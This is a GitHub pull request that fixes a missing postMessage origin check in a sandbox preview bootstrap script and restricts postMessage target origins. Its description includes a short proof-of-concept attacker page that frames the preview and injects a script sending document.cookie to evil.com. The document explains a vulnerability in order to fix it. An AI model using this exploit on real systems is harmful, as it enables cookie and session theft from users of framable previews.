Skip to content

fix(security): validate postMessage origin in sandbox preview bootstrap#4113

Open
0xcucumbersalad wants to merge 1 commit into
mainfrom
fix/postmessage-origin-validation
Open

fix(security): validate postMessage origin in sandbox preview bootstrap#4113
0xcucumbersalad wants to merge 1 commit into
mainfrom
fix/postmessage-origin-validation

Conversation

@0xcucumbersalad

@0xcucumbersalad 0xcucumbersalad commented Jun 24, 2026

Copy link
Copy Markdown
Contributor

Summary

The IFRAME_BOOTSTRAP_SCRIPT injected into all sandbox preview pages executed arbitrary JavaScript via new Function(e.data.script)() on receipt of a visual-editor::activate postMessage — without checking e.origin. Since the daemon proxy strips X-Frame-Options and Content-Security-Policy headers from preview responses, any attacker page could frame a preview URL and inject arbitrary JS into the preview context.

Attack vector

<!-- attacker.com/exploit.html -->
<iframe src="https://studio.decocms.com/api/sandbox/.../preview/3000/"></iframe>
<script>
  document.querySelector('iframe').onload = () =>
    document.querySelector('iframe').contentWindow.postMessage({
      type: 'visual-editor::activate',
      script: 'fetch("https://evil.com/exfil?c="+document.cookie)'
    }, '*');
</script>

Fixes

File Change
packages/sandbox/shared.ts Bootstrap listener validates e.origin against parent origin (from document.referrer) before executing script
apps/mesh/src/web/components/sandbox/preview/preview.tsx Replace postMessage(..., "*") with computed target origin from previewUrl
apps/mesh/src/web/components/deck/use-deck-editor.ts Document why "*" is necessary for sandboxed (opaque-origin) deck iframes

Test plan

  • bun run fmt — passes
  • bun run lint — passes (0 errors)
  • bun run check — pre-existing NATS type errors only (same on main)
  • Verify visual editor injection still works in sandbox preview (parent origin matches)
  • Verify attacker page framing preview cannot inject script (origin mismatch → message dropped)
  • Verify CMS editor activation still works

🤖 Generated with Claude Code


Summary by cubic

Prevents arbitrary script injection in sandbox previews by validating postMessage origins and sending messages with a specific targetOrigin. Blocks attacker pages from injecting JS when framing preview URLs.

  • Bug Fixes
    • packages/sandbox/shared.ts: Bootstrap listener validates e.origin against the parent origin (from document.referrer) before executing visual-editor::activate scripts.
    • apps/mesh/src/web/components/sandbox/preview/preview.tsx: Replaces postMessage(..., "*") with a computed origin from previewUrl for activate/deactivate messages.
    • apps/mesh/src/web/components/deck/use-deck-editor.ts: Adds a note explaining why "*" is required for sandboxed (opaque-origin) deck iframes.

Written for commit 8e30b0f. Summary will update on new commits.

Review in cubic

The IFRAME_BOOTSTRAP_SCRIPT injected into all sandbox preview pages
listened for `visual-editor::activate` messages with a `script` field
and executed them via `new Function(e.data.script)()` without checking
`e.origin`. Any page that framed the preview could inject arbitrary JS
into the preview context (the daemon proxy strips X-Frame-Options and
CSP headers to allow embedding).

Two fixes:
1. shared.ts: The bootstrap listener now validates `e.origin` against
   the parent origin (derived from `document.referrer`) before executing
   the script. Messages from unknown origins are silently dropped.
2. preview.tsx: Replace `postMessage(..., "*")` with a computed target
   origin from `previewUrl`, preventing message delivery if the iframe
   navigated to an unexpected origin.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant